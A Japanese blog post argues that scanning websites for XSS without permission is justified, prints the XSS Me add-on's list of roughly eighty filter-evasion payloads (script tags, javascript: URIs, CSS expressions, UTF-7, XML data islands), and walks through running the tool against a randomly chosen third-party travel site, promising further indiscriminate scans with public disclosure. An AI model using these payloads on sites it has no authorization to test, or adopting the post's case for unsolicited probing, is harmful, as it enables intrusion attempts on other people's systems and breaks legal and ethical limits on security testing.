XSS調査を無差別に行なってみた(勝手にそしてランダムに)

このエントリーをはてなブックマークに追加

XSSの脆弱性は本当に恐ろしいモノです。

さて、XSSの調査は頼まれてもいないのに勝手に調査してよいのか?という議論がなされています。確かに、XSSの脆弱性調査は一種の攻撃ですので頼まれてもいないのにやってはいけないという暗黙の了解の様なものがあります。

しかしながら、我々に対しては頻繁に仕掛けてくる方々が多いのも事実でありますし、現にIPA独立行政法人 情報処理推進機構(IPA:Information-technology Promotion Agency, Japan)は、その様な脆弱性を発見した場合の通知代行ともとれる行為を行なっております。

これにより、益々議論は深まっていくのですが、倫理的には勝手にやってはいけないけども、偶然発見した場合はお知らせ下さい。脆弱性を保有するWEBサイトの管理者に貴方に変って通知しますよ!と言うスタンスである以上、やって良いと言う事になります。

実際に、XSSの脆弱性を検知しようと思えば、スクリプトを入力していかねばならず、これを偶然の産物だ!と言いはるのは無理があるでしょう。

例えば、ポピュラーなXSS発見ツールである、XSSmeに関しては、以下のコードをフォームに自動で大量に入れていきます。これが偶然入力してしまう事があるでしょうか?

<meta http-equiv=”refresh” content=”0;url=javascript:document.vulnerable=true;”>
<META HTTP-EQUIV=”Set-Cookie” Content=”USERID=<SCRIPT>document.vulnerable=true</SCRIPT>”>
<SCRIPT>document.vulnerable=true;</SCRIPT>
<IMG SRC=”jav ascript:document.vulnerable=true;”>
<IMG SRC=”javascript:document.vulnerable=true;”>
<IMG SRC=” &#14; javascript:document.vulnerable=true;”>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=document.vulnerable=true;>
<<SCRIPT>document.vulnerable=true;//<</SCRIPT>
<SCRIPT <B>document.vulnerable=true;</SCRIPT>
<IMG SRC=”javascript:document.vulnerable=true;”
<iframe src=”javascript:document.vulnerable=true; <
<SCRIPT>a=/XSS/\ndocument.vulnerable=true;</SCRIPT>
\”;document.vulnerable=true;;//
</TITLE><SCRIPT>document.vulnerable=true;</SCRIPT>
<INPUT TYPE=”IMAGE” SRC=”javascript:document.vulnerable=true;”>
<BODY BACKGROUND=”javascript:document.vulnerable=true;”>
<BODY ONLOAD=document.vulnerable=true;>
<IMG DYNSRC=”javascript:document.vulnerable=true;”>
<IMG LOWSRC=”javascript:document.vulnerable=true;”>
<BGSOUND SRC=”javascript:document.vulnerable=true;”>
<BR SIZE=”&{document.vulnerable=true}”>
<LAYER SRC=”javascript:document.vulnerable=true;”></LAYER>
<LINK REL=”stylesheet” HREF=”javascript:document.vulnerable=true;”>
<STYLE>li {list-style-image: url(“javascript:document.vulnerable=true;”);</STYLE><UL><LI>XSS
シscriptセdocument.vulnerable=true;シ/scriptセ
<IFRAME SRC=”javascript:document.vulnerable=true;”></IFRAME>
<FRAMESET><FRAME SRC=”javascript:document.vulnerable=true;”></FRAMESET>
<TABLE BACKGROUND=”javascript:document.vulnerable=true;”>
<TABLE><TD BACKGROUND=”javascript:document.vulnerable=true;”>
<DIV STYLE=”background-image: url(javascript:document.vulnerable=true;)”>
<DIV STYLE=”background-image: url(&#1;javascript:document.vulnerable=true;)”>
<DIV STYLE=”width: expression(document.vulnerable=true);”>
<STYLE>@im\port’\ja\vasc\ript:document.vulnerable=true’;</STYLE>
<IMG STYLE=”xss:expr/*XSS*/ession(document.vulnerable=true)”>
<XSS STYLE=”xss:expression(document.vulnerable=true)”>
exp/*<A STYLE=’no\xss:noxss(“*//*”);xss:ex/*XSS*//*/*/pression(document.vulnerable=true)’>
<STYLE TYPE=”text/javascript”>document.vulnerable=true;</STYLE>
<STYLE>.XSS{background-image:url(“javascript:document.vulnerable=true”);}</STYLE><A></A
<STYLE type=”text/css”>BODY{background:url(“javascript:document.vulnerable=true”)}</STYLE>
<!–[if gte IE 4]><SCRIPT>document.vulnerable=true;</SCRIPT><![endif]–>
<BASE HREF=”javascript:document.vulnerable=true;//”>
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.vulnerable=true></OBJECT>
<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:document.vulnerable=true;">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<XML ID=”xss”><I><B><IMG SRC=”javas<!– –>cript:document.vulnerable=true”></B></I></XML><SPAN DATASRC=”#xss” DATAFLD=”B” DATAFORMATAS=”HTML”></SPAN>
<HTML><BODY><?xml:namespace prefix=”t” ns=”urn:schemas-microsoft-com:time”><?import namespace=”t” implementation=”#default#time2″><t:set attributeName=”innerHTML” to=”XSS<SCRIPT DEFER>document.vulnerable=true</SCRIPT>”></BODY></HTML>
<? echo(‘<SCR)’;echo(‘IPT>document.vulnerable=true</SCRIPT>’); ?>
<HEAD><META HTTP-EQUIV=”CONTENT-TYPE” CONTENT=”text/html; charset=UTF-7″> </HEAD>+ADw-SCRIPT+AD4-document.vulnerable=true;+ADw-/SCRIPT+AD4-
<a href=”javascript#document.vulnerable=true;”>
<div onmouseover=”document.vulnerable=true;”>
<img src=”javascript:document.vulnerable=true;”>
<img dynsrc=”javascript:document.vulnerable=true;”>
<input type=”image” dynsrc=”javascript:document.vulnerable=true;”>
<bgsound src=”javascript:document.vulnerable=true;”>
&<script>document.vulnerable=true;</script>
&{document.vulnerable=true;};
<img src=&{document.vulnerable=true;};>
<link rel=”stylesheet” href=”javascript:document.vulnerable=true;”>
<img src=”mocha:document.vulnerable=true;”>
<img src=”livescript:document.vulnerable=true;”>
<a href=”about:<script>document.vulnerable=true;</script>”>
<body onload=”document.vulnerable=true;”>
<div style=”background-image: url(javascript:document.vulnerable=true;);”>
<div style=”behaviour: url([link to code]);”>
<div style=”binding: url([link to code]);”>
<div style=”width: expression(document.vulnerable=true;);”>
<style type=”text/javascript”>document.vulnerable=true;</style>
<object classid=”clsid:…” codebase=”javascript:document.vulnerable=true;”>
<style><!–</style><script>document.vulnerable=true;//–></script>
<<script>document.vulnerable=true;</script>
<![CDATA[<!--]]<script>document.vulnerable=true;//–></script>
<!– — –><script>document.vulnerable=true;</script><!– — –>
<img src=”blah”onmouseover=”document.vulnerable=true;”>
<img src=”blah>” onmouseover=”document.vulnerable=true;”>
<xml src=”javascript:document.vulnerable=true;”>
<xml id=”X”><a><b><script>document.vulnerable=true;</script>;</b></a></xml>
<div datafld=”b” dataformatas=”html” datasrc=”#X”></div>
[\xC0][\xBC]script>document.vulnerable=true;[\xC0][\xBC]/script>

ね?無理がありますよね?全てではなく、例えば一番最後の

[\xC0][\xBC]script>document.vulnerable=true;[\xC0][\xBC]/script>

を例にとってもこれを通常、氏名・住所やその他の情報を入力する欄に[\xC0][\xBC]script>document.vulnerable=true;[\xC0][\xBC]/script>を誤って入力してしまう可能性はどれぐらいありますか?

ですね。天文学的確率なのは一目良前ですね。

かといって、XSSの脆弱性を放置してていいのか?という問題があります。極めて危険な状況におかれているWEBサイトを放置する事は危険ですし、対策の必要があるでしょう。我々も以前は『居酒屋の経営者はXSS脆弱性が発見されたからといって店を閉めなくてよい!』と発言したことがありました。

著名セキュリティクラスタ(恐喝商法)が居酒屋のホームページにXSSの脆弱性が発見された場合すぐに修正しろ!と恫喝してきた事件

激論!XSSの危険性(結論:XSSがあっても居酒屋はやめなくてよい)

そこで我々は、修正しなくてもよいと言う訳ではないが、企業によってはWEBサイトに費やせる費用もまちまちであり、また個人事業主様であれば尚の事WEBサイトに対する事業比重は限りなく小さいものとなるはずで、そんな方々に訳のわからない(居酒屋のおやじは上記コードは知りません。一般的には)横文字の訳のわからない言葉をいいながら危険性を訴えた所で、『あっそう・・』で終わるのがわかりきっています。また、それでもと言うならば『そこまで言うなら閉鎖します』という選択肢を選ぶ人も多いでしょう。(この事件により圧倒的に論破勝利した我々の考えがスタンダードになった経緯がある。)

この様に、ずれた感覚でのセキュリティの押し売りではいけませんし、かつ危険なサイトは放置は出来ないと言うジレンマに挟まれた状況なのです。

所が冒頭申し上げました様に、かのIPAは目をつぶっている状況ですし、コソコソするならば正々堂々とやればよい!と言う信念のもと我々は動き出す事にしました。

結局、発見した場合にどうするのがよいのか?と言う次元の問題となり、これについては我々が依然作成している、正しいシリーズを見て頂ければご納得いただけるものと信じております。

正しい脆弱性情報通知の仕方

それではこれより、XSSmeを使用して無差別にXSSの脆弱性調査を行なっていきます。

XSS Me は Firefox のアドオンで、XSS脆弱性の対応状況を調べることができるツールです。
テストの実行から実行結果のレポート出力まで、全てブラウザ上でおこなえるのが特徴です。

まだ、取得されていない方は、Firefoxに導入して下さい。

まずはツールを開きます。xss003

次に、XSSmeを選択し、Open XSS Me Sidebarを選択します。xss004

そうすると左にボックスが出現致します。ここで調査をしたいサイトを開いて下さい。
準備はいいですか?左のBOXのTest all forms with all attaksを押します。
xss005

そしてOKでスタートです!!!xss006

おっと・・・これは入力フォームのないサイトでしたwwwこれじゃXSSはないですね!では、無差別に選択します。ejaponと言う旅行サイトにしましょうか?

では改めましてOK!いざ!xss007

解析が始まりました!xss008

もう少しです!(OKを押して3分程度経過)xss009

なんてことでしょうか?脆弱性はありませんでした。これが解析結果画面です。xss010

Failuresの所が0になってますね???xss011

以上、XSS脆弱性の調査方法でした!今後は積極的に調査をしていき、発見されれば当ブログにて危険告知して参ります。

コメントを残す

メールアドレスが公開されることはありません。 * が付いている欄は必須項目です

次のHTML タグと属性が使えます: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong> <img localsrc="" alt="">